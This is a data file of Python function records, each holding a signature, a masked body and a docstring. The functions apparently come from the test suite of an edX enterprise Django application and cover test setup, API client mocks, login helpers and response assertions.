{"signature": "def migrate_to_dest_then_origin(self):", "body": "self.migrate_to_dest()<EOL>self.migrate_to_origin()<EOL>", "docstring": "Migrates to the destination and back to the origin.\n\nCan be used as a shortcut to test a forward- and backward-migration in one-go.", "id": "f16117:c0:m3"}
{"signature": "@property<EOL><INDENT>def old_apps(self):<DEDENT>", "body": "return self.executor.loader.project_state(self.migrate_origin).apps<EOL>", "docstring": "Returns the app in its original state -- the one that'd exist before migration.", "id": "f16117:c0:m4"}
{"signature": "@property<EOL><INDENT>def new_apps(self):<DEDENT>", "body": "return self.executor.loader.project_state(self.migrate_dest).apps<EOL>", "docstring": "Returns the app in a future state -- the one that'd exist after migration.", "id": "f16117:c0:m5"}
{"signature": "@property<EOL><INDENT>def model_label(self):<DEDENT>", "body": "return self.model._meta.get_field('<STR_LIT:name>')<EOL>", "docstring": "Returns the label of the ``model``.", "id": "f16117:c0:m6"}
{"signature": "def setUp(self):", "body": "super(TestConsentAPIPermissions, self).setUp()<EOL>discovery_client_class = mock.patch('<STR_LIT>')<EOL>self.discovery_client = discovery_client_class.start().return_value<EOL>self.discovery_client.is_course_in_catalog.return_value = True<EOL>self.addCleanup(discovery_client_class.stop)<EOL>factories.DataSharingConsentFactory.create(<EOL>course_id=TEST_COURSE,<EOL>username=TEST_USERNAME,<EOL>enterprise_customer__uuid=TEST_UUID<EOL>)<EOL>", "docstring": "Perform operations common to all tests.", "id": "f16118:c0:m0"}
{"signature": "def _assert_expectations(self, response, expected_body, expected_status):", "body": "response_body = self.load_json(response.content)<EOL>self.assertEqual(response.status_code, expected_status)<EOL>self.assertEqual(response_body, expected_body)<EOL>", "docstring": "Assert that the response's status code and body match our expectations.", "id": "f16119:c0:m2"}
{"signature": "def setUp(self):", "body": "self.enterprise_learner_role, __ = SystemWideEnterpriseRole.objects.get_or_create(name=ENTERPRISE_LEARNER_ROLE)<EOL>self.learner_user = UserFactory(id=<NUM_LIT:2>, email='<STR_LIT>')<EOL>self.enterprise_customer = EnterpriseCustomerFactory(<EOL>catalog=<NUM_LIT:1>,<EOL>name='<STR_LIT>',<EOL>)<EOL>super(TestEnterpriseLearnerRoleSignals, self).setUp()<EOL>", "docstring": "Setup for `TestEnterpriseLearnerRoleSignals` test.", "id": "f16121:c2:m0"}
{"signature": "def get_request(self, user=None, data=None):", "body": "request = APIRequestFactory().post('<STR_LIT:/>', data)<EOL>if user:<EOL><INDENT>force_authenticate(request, user=user)<EOL><DEDENT>return Request(request, parsers=(JSONParser(),))<EOL>", "docstring": ":return Request object", "id": "f16124:c0:m0"}
{"signature": "def setUp(self):", "body": "super(TestIsAdminUserOrInGroupPermissions, self).setUp()<EOL>self.user = UserFactory(email='<STR_LIT>', password='<STR_LIT:test>', is_staff=True)<EOL>", "docstring": "Setup the test cases.", "id": "f16124:c1:m0"}
{"signature": "def setUp(self):", "body": "super(TestIsInEnterpriseGroupPermissions, self).setUp()<EOL>self.user = UserFactory(email='<STR_LIT>', password='<STR_LIT:test>', is_staff=True)<EOL>", "docstring": "Setup the test cases.", "id": "f16124:c2:m0"}
{"signature": "def setUp(self):", "body": "super(TestEnterpriseAPIPagination, self).setUp()<EOL>self.request = APIRequestFactory().get(<EOL>reverse('<STR_LIT>'),<EOL>SERVER_NAME=\"<STR_LIT>\",<EOL>)<EOL>self.data = {<EOL>\"<STR_LIT:count>\": <NUM_LIT:1>,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": [<EOL>{<EOL>\"<STR_LIT>\": [<EOL>{<EOL>\"<STR_LIT:description>\": None,<EOL>\"<STR_LIT>\": [],<EOL>\"<STR_LIT:name>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:key>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": \"<STR_LIT>\"<EOL>}<EOL>],<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:title>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": [],<EOL>\"<STR_LIT:image>\": None,<EOL>\"<STR_LIT>\": [],<EOL>\"<STR_LIT>\": [],<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": [],<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:key>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": []<EOL>}<EOL>]<EOL>}<EOL>", "docstring": "Common setup functions.", "id": "f16125:c0:m0"}
{"signature": "def side_effect(url, query_parameters):", "body": "if any(key in ['<STR_LIT>', '<STR_LIT>'] for key in query_parameters):<EOL><INDENT>return url<EOL><DEDENT>scheme, netloc, path, query_string, fragment = urlsplit(url)<EOL>url_params = parse_qs(query_string)<EOL>url_params.update(query_parameters)<EOL>return urlunsplit(<EOL>(scheme, netloc, path, urlencode(url_params, doseq=True), fragment),<EOL>)<EOL>", "docstring": "returns a url with updated query parameters.", "id": "f16126:m0"}
{"signature": "def create_items(self, factory, items):", "body": "for item in items:<EOL><INDENT>factory.create(**item)<EOL><DEDENT>", "docstring": "Create model instances using given factory", "id": "f16126:c0:m1"}
{"signature": "def create_course_enrollments_context(<EOL>self,<EOL>user_exists,<EOL>lms_user_id,<EOL>tpa_user_id,<EOL>user_email,<EOL>mock_tpa_client,<EOL>mock_enrollment_client,<EOL>course_enrollment,<EOL>mock_catalog_contains_course,<EOL>course_in_catalog,<EOL>enable_autocohorting=False<EOL>):", "body": "enterprise_customer = factories.EnterpriseCustomerFactory(<EOL>uuid=FAKE_UUIDS[<NUM_LIT:0>],<EOL>name=\"<STR_LIT>\",<EOL>enable_autocohorting=enable_autocohorting<EOL>)<EOL>permission = Permission.objects.get(name='<STR_LIT>')<EOL>self.user.user_permissions.add(permission)<EOL>user = None<EOL>if user_exists:<EOL><INDENT>if lms_user_id:<EOL><INDENT>user = factories.UserFactory(id=lms_user_id)<EOL><DEDENT>elif tpa_user_id:<EOL><INDENT>user = factories.UserFactory(username=tpa_user_id)<EOL><DEDENT>elif user_email:<EOL><INDENT>user = factories.UserFactory(email=user_email)<EOL><DEDENT>factories.EnterpriseCustomerUserFactory(<EOL>user_id=user.id,<EOL>enterprise_customer=enterprise_customer,<EOL>)<EOL><DEDENT>if tpa_user_id:<EOL><INDENT>mock_tpa_client.return_value = mock.Mock()<EOL>mock_tpa_client.return_value.get_username_from_remote_id = mock.Mock()<EOL>mock_tpa_client.return_value.get_username_from_remote_id.return_value = tpa_user_id<EOL><DEDENT>mock_enrollment_client.return_value = mock.Mock(<EOL>get_course_enrollment=mock.Mock(return_value=course_enrollment),<EOL>enroll_user_in_course=mock.Mock()<EOL>)<EOL>mock_catalog_contains_course.return_value = course_in_catalog<EOL>return enterprise_customer, user<EOL>", "docstring": "Set up for tests that call the enterprise customer course enrollments detail route.", "id": "f16126:c0:m32"}
{"signature": "def setUp(self):", "body": "super(TestEnterpriseAPIDecorators, self).setUp()<EOL>faker = FakerFactory.create()<EOL>self.provider_id = faker.slug()  <EOL>self.uuid = faker.uuid4()  <EOL>self.customer = EnterpriseCustomerFactory(uuid=self.uuid)<EOL>self.user = UserFactory()<EOL>self.session_engine = import_module(settings.SESSION_ENGINE)<EOL>", "docstring": "Set up test environment.", "id": "f16127:c0:m0"}
{"signature": "def _prepare_request(self, url, user):", "body": "request = RequestFactory().get(url)<EOL>request.user = user<EOL>session_key = request.COOKIES.get(settings.SESSION_COOKIE_NAME)<EOL>request.session = self.session_engine.SessionStore(session_key)<EOL>return request<EOL>", "docstring": "Prepare request for test.", "id": "f16127:c0:m1"}
{"signature": "def setUp(self):", "body": "super(TestEnterpriseAPIThrottling, self).setUp()<EOL>user = factories.UserFactory()<EOL>enterprise_customer = factories.EnterpriseCustomerFactory()<EOL>factories.EnterpriseCustomerUserFactory(enterprise_customer=enterprise_customer, user_id=user.id)<EOL>self.url = settings.TEST_SERVER + reverse('<STR_LIT>')<EOL>", "docstring": "Perform operations common for all tests.\n\nPopulate data base for api testing.", "id": "f16128:c0:m0"}
{"signature": "def exhaust_throttle_limit(self, throttle_limit):", "body": "for item in range(throttle_limit):  <EOL><INDENT>response = self.client.get(self.url)<EOL>assert response.status_code == status.HTTP_200_OK<EOL><DEDENT>", "docstring": "Call enterprise api so that throttle limit is exhausted.", "id": "f16128:c0:m1"}
{"signature": "def setUp(self):", "body": "super(TestImmutableStateSerializer, self).setUp()<EOL>self.instance = None<EOL>self.data = {\"<STR_LIT:data>\": \"<STR_LIT:data>\"}<EOL>self.validated_data = self.data<EOL>self.serializer = ImmutableStateSerializer(self.data)<EOL>", "docstring": "Perform operations common for all tests.\n\nPopulate data base for api testing.", "id": "f16129:c0:m0"}
{"signature": "def setUp(self):", "body": "super(TestEnterpriseCatalogCoursesSerializer, self).setUp()<EOL>faker = FakerFactory.create()<EOL>self.provider_id = faker.slug()  <EOL>self.user = factories.UserFactory()<EOL>self.enterprise_customer = factories.EnterpriseCustomerFactory(uuid='<STR_LIT>',<EOL>name=\"<STR_LIT>\")<EOL>self.ecu = factories.EnterpriseCustomerUserFactory(<EOL>user_id=self.user.id,<EOL>enterprise_customer=self.enterprise_customer,<EOL>)<EOL>factories.EnterpriseCustomerIdentityProviderFactory(<EOL>enterprise_customer=self.ecu.enterprise_customer,<EOL>provider_id=self.provider_id,<EOL>)<EOL>self.request = APIRequestFactory().get(reverse('<STR_LIT>'))<EOL>self.request.user = self.user<EOL>self.instance = None<EOL>self.data = {<EOL>'<STR_LIT:count>': <NUM_LIT:1>,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': [<EOL>{<EOL>'<STR_LIT>': [<EOL>{<EOL>'<STR_LIT:description>': None,<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT:name>': '<STR_LIT>',<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT:key>': '<STR_LIT>',<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>}<EOL>],<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT:title>': '<STR_LIT>',<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT:image>': None,<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT:key>': '<STR_LIT>',<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': [<EOL>{<EOL>'<STR_LIT:key>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT:title>': '<STR_LIT>',<EOL>'<STR_LIT:image>': {<EOL>'<STR_LIT:width>': None,<EOL>'<STR_LIT:src>': '<STR_LIT>',<EOL>'<STR_LIT:description>': None,<EOL>'<STR_LIT>': None<EOL>},<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT:start>': '<STR_LIT>',<EOL>'<STR_LIT:end>': '<STR_LIT>',<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT:type>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': [<EOL>{<EOL>'<STR_LIT:type>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>}<EOL>],<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': False,<EOL>'<STR_LIT>': False,<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>}<EOL>]<EOL>}<EOL>]<EOL>}<EOL>self.validated_data = self.data<EOL>self.serializer = EnterpriseCatalogCoursesReadOnlySerializer(<EOL>self.data<EOL>)<EOL>", "docstring": "Perform operations common for all tests.\n\nPopulate data base for api testing.", "id": "f16129:c1:m0"}
{"signature": "def mock_db_connection(self, connection_mock):", "body": "description = mock.MagicMock()<EOL>description.__iter__.return_value = (('<STR_LIT>',), ('<STR_LIT>',), ('<STR_LIT>',))<EOL>fetchall = mock.MagicMock()<EOL>fetchall.__iter__.return_value = [(self.user.id, self.enterprise_customer.uuid, self.course_run_id)]<EOL>connection_mock.cursor.return_value = mock.MagicMock(<EOL>__enter__=mock.MagicMock(<EOL>return_value=mock.MagicMock(<EOL>description=description,<EOL>fetchall=mock.MagicMock(<EOL>side_effect=lambda: fetchall<EOL>)<EOL>)<EOL>)<EOL>)<EOL>", "docstring": "Set up db connection mock.", "id": "f16131:c0:m1"}
{"signature": "def _setup_ecommerce_api_client(self, client_mock, method_name, return_value):", "body": "mocked_attributes = {<EOL>method_name: mock.MagicMock(return_value=return_value),<EOL>}<EOL>api_mock = mock.MagicMock(**mocked_attributes)<EOL>client_mock.return_value = api_mock<EOL>", "docstring": "Sets up the E-Commerce API client", "id": "f16132:c1:m1"}
{"signature": "@staticmethod<EOL><INDENT>def _make_course_run(key, *seat_types):<DEDENT>", "body": "return {<EOL>\"<STR_LIT:key>\": key,<EOL>\"<STR_LIT>\": [{\"<STR_LIT:type>\": seat_type} for seat_type in seat_types]<EOL>}<EOL>", "docstring": "Return course_run json representation expected by CourseCatalogAPI.", "id": "f16133:c1:m1"}
{"signature": "def setUp(self):", "body": "super(TestCourseCatalogApiService, self).setUp()<EOL>self.user_mock = mock.Mock(spec=User)<EOL>self.get_data_mock = self._make_patch(self._make_catalog_api_location(\"<STR_LIT>\"))<EOL>self.jwt_builder_mock = self._make_patch(self._make_catalog_api_location(\"<STR_LIT>\"))<EOL>self.integration_config_mock = mock.Mock(enabled=True)<EOL>self.integration_config_mock.get_service_user.return_value = self.user_mock<EOL>self.integration_mock = self._make_patch(self._make_catalog_api_location(\"<STR_LIT>\"))<EOL>self.integration_mock.current.return_value = self.integration_config_mock<EOL>self.api = CourseCatalogApiServiceClient()<EOL>", "docstring": "Set up mocks for the test suite.", "id": "f16133:c3:m0"}
{"signature": "def setUp(self):", "body": "self.enterprise_customer = EnterpriseCustomerFactory(<EOL>catalog=<NUM_LIT:1>,<EOL>name='<STR_LIT>',<EOL>)<EOL>super(TestEnterpriseApiClient, self).setUp()<EOL>self.catalog_api_config_mock = self._make_patch(self._make_catalog_api_location(\"<STR_LIT>\"))<EOL>self.user = UserFactory(is_staff=True)<EOL>", "docstring": "DRY method for TestEnterpriseApiClient.", "id": "f16134:c0:m0"}
{"signature": "def tearDown(self):", "body": "cache.clear()<EOL>super(TestEnterpriseApiClient, self).tearDown()<EOL>", "docstring": "Clear any existing cache.", "id": "f16134:c0:m1"}
{"signature": "def _assert_enterprise_courses_api_response(self, content_ids, content_metadata, expected_count):", "body": "assert len(content_ids) == len(content_metadata)<EOL>assert expected_count == len(content_metadata)<EOL>for item in content_metadata:<EOL><INDENT>assert get_content_metadata_item_id(item) in content_ids<EOL><DEDENT>", "docstring": "DRY method to verify the enterprise courses api response.", "id": "f16134:c0:m2"}
{"signature": "def _assert_num_requests(self, expected_count):", "body": "assert len(responses.calls) == expected_count<EOL>", "docstring": "DRY helper for verifying request counts.", "id": "f16134:c0:m3"}
{"signature": "def _url(base_name, path):", "body": "return requests.compat.urljoin(URL_BASE_NAMES[base_name].API_BASE_URL, path)<EOL>", "docstring": "Build a URL for the relevant API named by base_name.\n\nArgs:\n    base_name (str): A name to identify the root URL by\n    path (str): The URL suffix to append to the base path", "id": "f16135:m0"}
{"signature": "def _login(self):", "body": "assert self.client.login(username=self.user.username, password=\"<STR_LIT>\")<EOL>", "docstring": "Log user in.", "id": "f16136:c0:m1"}
{"signature": "def _setup_enrollment_client(self, client_mock):", "body": "client = client_mock.return_value<EOL>client.get_course_modes.return_value = self.dummy_demo_course_modes<EOL>client.get_course_enrollment.return_value = None<EOL>", "docstring": "Sets up the Enrollment API client", "id": "f16136:c0:m2"}
{"signature": "def _setup_ecommerce_client(self, client_mock, total=<NUM_LIT:50>):", "body": "dummy_price_details_mock = mock.MagicMock()<EOL>dummy_price_details_mock.return_value = {<EOL>'<STR_LIT>': total,<EOL>}<EOL>price_details_mock = mock.MagicMock()<EOL>method_name = '<STR_LIT>'<EOL>attrs = {method_name: dummy_price_details_mock}<EOL>price_details_mock.configure_mock(**attrs)<EOL>client_mock.return_value = price_details_mock<EOL>", "docstring": "Sets up the Ecommerce API client", "id": "f16136:c0:m3"}
{"signature": "def _setup_registry_mock(self, registry_mock, provider_id):", "body": "registry_mock.get.return_value.configure_mock(provider_id=provider_id)<EOL>", "docstring": "Sets up the SSO Registry object", "id": "f16136:c0:m4"}
{"signature": "def _check_expected_enrollment_page(self, response, expected_context):", "body": "fake_organization = FAKE_COURSE['<STR_LIT>'][<NUM_LIT:0>]<EOL>default_context = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': \"<STR_LIT>\",<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': FAKE_COURSE_RUN['<STR_LIT:title>'],<EOL>'<STR_LIT>': FAKE_COURSE_RUN['<STR_LIT>'],<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': parse(FAKE_COURSE_RUN['<STR_LIT:start>']).strftime('<STR_LIT>'),<EOL>'<STR_LIT>': False,<EOL>'<STR_LIT>': FAKE_COURSE_RUN['<STR_LIT:image>']['<STR_LIT:src>'],<EOL>'<STR_LIT>': (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>),<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': fake_organization['<STR_LIT>'],<EOL>'<STR_LIT>': fake_organization['<STR_LIT:name>'],<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': settings.LMS_SEGMENT_KEY,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': True,<EOL>}<EOL>default_context.update(expected_context)<EOL>assert response.status_code == <NUM_LIT:200><EOL>for key, value in default_context.items():<EOL><INDENT>assert response.context[key] == value<EOL><DEDENT>", "docstring": "Check the response was successful, and contains the expected content.", "id": "f16136:c0:m5"}
{"signature": "def setUp(self):", "body": "self.user = UserFactory.create(is_staff=True, is_active=True)<EOL>self.user.set_password(\"<STR_LIT>\")<EOL>self.user.save()<EOL>self.client = Client()<EOL>self.demo_course_1 = FAKE_PROGRAM_RESPONSE3['<STR_LIT>'][<NUM_LIT:0>]<EOL>self.demo_course_2 = FAKE_PROGRAM_RESPONSE3['<STR_LIT>'][<NUM_LIT:1>]<EOL>self.demo_course_id1 = FAKE_PROGRAM_RESPONSE3['<STR_LIT>'][<NUM_LIT:0>]['<STR_LIT:key>']<EOL>self.demo_course_id2 = FAKE_PROGRAM_RESPONSE3['<STR_LIT>'][<NUM_LIT:1>]['<STR_LIT:key>']<EOL>self.demo_course_ids = [self.demo_course_id1, self.demo_course_id2]<EOL>self.dummy_program_uuid = FAKE_PROGRAM_RESPONSE3['<STR_LIT>']<EOL>self.dummy_program = FAKE_PROGRAM_RESPONSE3<EOL>super(TestProgramEnrollmentView, self).setUp()<EOL>", "docstring": "Set up reusable fake data.", "id": "f16137:c0:m0"}
{"signature": "def _login(self):", "body": "assert self.client.login(username=self.user.username, password=\"<STR_LIT>\")<EOL>", "docstring": "Log the user in.", "id": "f16137:c0:m1"}
{"signature": "def _assert_get_returns_404_with_mock(self, url):", "body": "with mock.patch('<STR_LIT>') as mock_render:<EOL><INDENT>mock_render.return_value = HttpResponse()<EOL>self.client.get(url)<EOL>assert mock_render.call_args_list[<NUM_LIT:0>][<NUM_LIT:1>]['<STR_LIT:status>'] == <NUM_LIT><EOL><DEDENT>", "docstring": "Mock the render method, run a GET, and assert it returns 404.", "id": "f16137:c0:m2"}
{"signature": "def _setup_course_catalog_client(self, client_mock):", "body": "client = client_mock.return_value<EOL>client.get_program_course_keys.return_value = self.demo_course_ids<EOL>client.get_program_by_uuid.return_value = self.dummy_program<EOL>", "docstring": "Sets up the Course Catalog API client.", "id": "f16137:c0:m3"}
{"signature": "def _setup_program_data_extender(self, extender_mock, course_overrides=None):", "body": "<EOL>dummy_program_extended = copy.deepcopy(self.dummy_program)<EOL>dummy_course_extended_1 = copy.deepcopy(self.demo_course_1)<EOL>dummy_course_extended_2 = copy.deepcopy(self.demo_course_2)<EOL>if course_overrides:<EOL><INDENT>dummy_course_extended_1.update(course_overrides)<EOL>dummy_course_extended_2.update(course_overrides)<EOL><DEDENT>dummy_course_extended_1['<STR_LIT>'][<NUM_LIT:0>].update({\"<STR_LIT>\": False, \"<STR_LIT>\": None})<EOL>dummy_course_extended_2['<STR_LIT>'][<NUM_LIT:0>].update({\"<STR_LIT>\": False, \"<STR_LIT>\": None})<EOL>dummy_program_extended.update({<EOL>\"<STR_LIT>\": [<EOL>dummy_course_extended_1,<EOL>dummy_course_extended_2,<EOL>],<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": <NUM_LIT:50>,<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT>\": <NUM_LIT>,<EOL>\"<STR_LIT>\": <NUM_LIT>,<EOL>},<EOL>\"<STR_LIT>\": <NUM_LIT>,<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT>\": [<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>],<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>})<EOL>extender_mock.return_value.extend.return_value = dummy_program_extended<EOL>return extender_mock<EOL>", "docstring": "Sets up the `ProgramDataExtender` mock, a utility from the edx-platform.", "id": "f16137:c0:m4"}
{"signature": "def _setup_registry_mock(self, registry_mock, provider_id):", "body": "registry_mock.get.return_value.configure_mock(provider_id=provider_id)<EOL>", "docstring": "Sets up the SSO Registry object.", "id": "f16137:c0:m5"}
{"signature": "def _setup_get_data_sharing_consent(self, client_mock, required):", "body": "client_mock.return_value.consent_required.return_value = required<EOL>", "docstring": "Sets up the ``get_data_sharing_consent`` function mock.", "id": "f16137:c0:m6"}
{"signature": "def _setup_get_base_details_mock(<EOL>self,<EOL>client_mock,<EOL>program_details,<EOL>program_enrollment_details<EOL>):", "body": "client_mock.return_value = (program_details, program_enrollment_details,)<EOL>", "docstring": "Sets up the ``enterprise.views.ProgramEnrollmentView.get_base_details`` function mock.", "id": "f16137:c0:m7"}
{"signature": "def _check_expected_enrollment_page(self, response, expected_context):", "body": "default_context = {}<EOL>default_context.update(expected_context)<EOL>assert response.status_code == <NUM_LIT:200><EOL>for key, value in default_context.items():<EOL><INDENT>assert response.context[key] == value<EOL><DEDENT>", "docstring": "Check that the response was successful, and contains the expected content.", "id": "f16137:c0:m8"}
{"signature": "def _login(self):", "body": "assert self.client.login(username=self.user.username, password=\"<STR_LIT>\")<EOL>", "docstring": "Log user in.", "id": "f16138:c0:m1"}
{"signature": "def _setup_registry_mock(self, registry_mock, provider_id):", "body": "registry_mock.get.return_value.configure_mock(provider_id=provider_id)<EOL>", "docstring": "Sets up the SSO Registry object", "id": "f16138:c0:m2"}
{"signature": "def _login(self):", "body": "assert self.client.login(username=self.user.username, password=\"<STR_LIT>\")<EOL>", "docstring": "Log user in.", "id": "f16140:c0:m1"}
{"signature": "def _assert_enterprise_linking_messages(self, response, user_is_active=True):", "body": "response_messages = self._get_messages_from_response_cookies(response)<EOL>if user_is_active:<EOL><INDENT>self.assertEqual(len(response_messages), <NUM_LIT:1>)<EOL>self._assert_request_message(<EOL>response_messages[<NUM_LIT:0>],<EOL>'<STR_LIT:success>',<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>else:<EOL><INDENT>self.assertEqual(len(response_messages), <NUM_LIT:2>)<EOL>self._assert_request_message(<EOL>response_messages[<NUM_LIT:0>],<EOL>'<STR_LIT:success>',<EOL>'<STR_LIT>'<EOL>)<EOL>self._assert_request_message(<EOL>response_messages[<NUM_LIT:1>],<EOL>'<STR_LIT:info>',<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>", "docstring": "Verify response messages for a learner when he/she is linked with an\nenterprise depending on whether the learner has activated the linked\naccount.", "id": "f16140:c0:m2"}
{"signature": "def _assert_get_returns_404_with_mock(self, url, get_params):", "body": "with mock.patch('<STR_LIT>') as mock_render:<EOL><INDENT>mock_render.return_value = HttpResponse()<EOL>self.client.get(url, get_params)<EOL>assert mock_render.call_args_list[<NUM_LIT:0>][<NUM_LIT:1>]['<STR_LIT:status>'] == <NUM_LIT><EOL><DEDENT>", "docstring": "Mock the render method, run a GET, and assert it returns 404.", "id": "f16140:c1:m1"}
{"signature": "def _assert_post_returns_404_with_mock(self, url, get_params):", "body": "with mock.patch('<STR_LIT>') as mock_render:<EOL><INDENT>mock_render.return_value = HttpResponse()<EOL>self.client.post(url, get_params)<EOL>assert mock_render.call_args_list[<NUM_LIT:0>][<NUM_LIT:1>]['<STR_LIT:status>'] == <NUM_LIT><EOL><DEDENT>", "docstring": "Mock the render method, run a POST, and assert it returns 404.", "id": "f16140:c1:m2"}
{"signature": "def _login(self):", "body": "assert self.client.login(username=self.user.username, password=\"<STR_LIT>\")<EOL>", "docstring": "Log user in.", "id": "f16140:c1:m3"}
{"signature": "def _login(self):", "body": "assert self.client.login(username=self.user.username, password=\"<STR_LIT>\")<EOL>", "docstring": "Log user in.", "id": "f16140:c2:m1"}
{"signature": "def _make_paragraphs(self, item):", "body": "left_sidebar_text = (<EOL>self.left_sidebar_text<EOL>).format(<EOL>enterprise_customer_name=self.enterprise_customer.name,<EOL>platform_name=self.platform_name,<EOL>)<EOL>top_paragraph = (<EOL>self.top_paragraph<EOL>).format(<EOL>enterprise_customer_name=self.enterprise_customer.name,<EOL>item=item,<EOL>)<EOL>agreement_text = (<EOL>self.agreement_text<EOL>).format(<EOL>enterprise_customer_name=self.enterprise_customer.name,<EOL>platform_name=self.platform_name,<EOL>)<EOL>confirmation_modal_text = (<EOL>self.confirmation_modal_text<EOL>).format(<EOL>enterprise_customer_name=self.enterprise_customer.name,<EOL>item=item,<EOL>)<EOL>return left_sidebar_text, top_paragraph, agreement_text, confirmation_modal_text<EOL>", "docstring": "Returns text to be used paragraphs of data sharing consent page", "id": "f16140:c2:m2"}
{"signature": "@contextmanager<EOL>def transmit_learner_data_context(command_kwargs=None, certificate=None, self_paced=False, end_date=None, passed=False):", "body": "if command_kwargs is None:<EOL><INDENT>command_kwargs = {}<EOL><DEDENT>testcase = TestTransmitLearnerData(methodName='<STR_LIT>')<EOL>testcase.setUp()<EOL>stub_transmit_learner_data_apis(testcase, certificate, self_paced, end_date, passed)<EOL>command_args = ('<STR_LIT>', testcase.api_user.username)<EOL>if '<STR_LIT>' in command_kwargs:<EOL><INDENT>command_kwargs['<STR_LIT>'] = testcase.enterprise_customer.uuid<EOL><DEDENT>with mock.patch('<STR_LIT>', mock.Mock()):<EOL><INDENT>with freeze_time(NOW):<EOL><INDENT>yield (command_args, command_kwargs)<EOL><DEDENT><DEDENT>testcase.tearDown()<EOL>", "docstring": "Sets up all the data and context wrappers required to run the transmit_learner_data management command.", "id": "f16141:m0"}
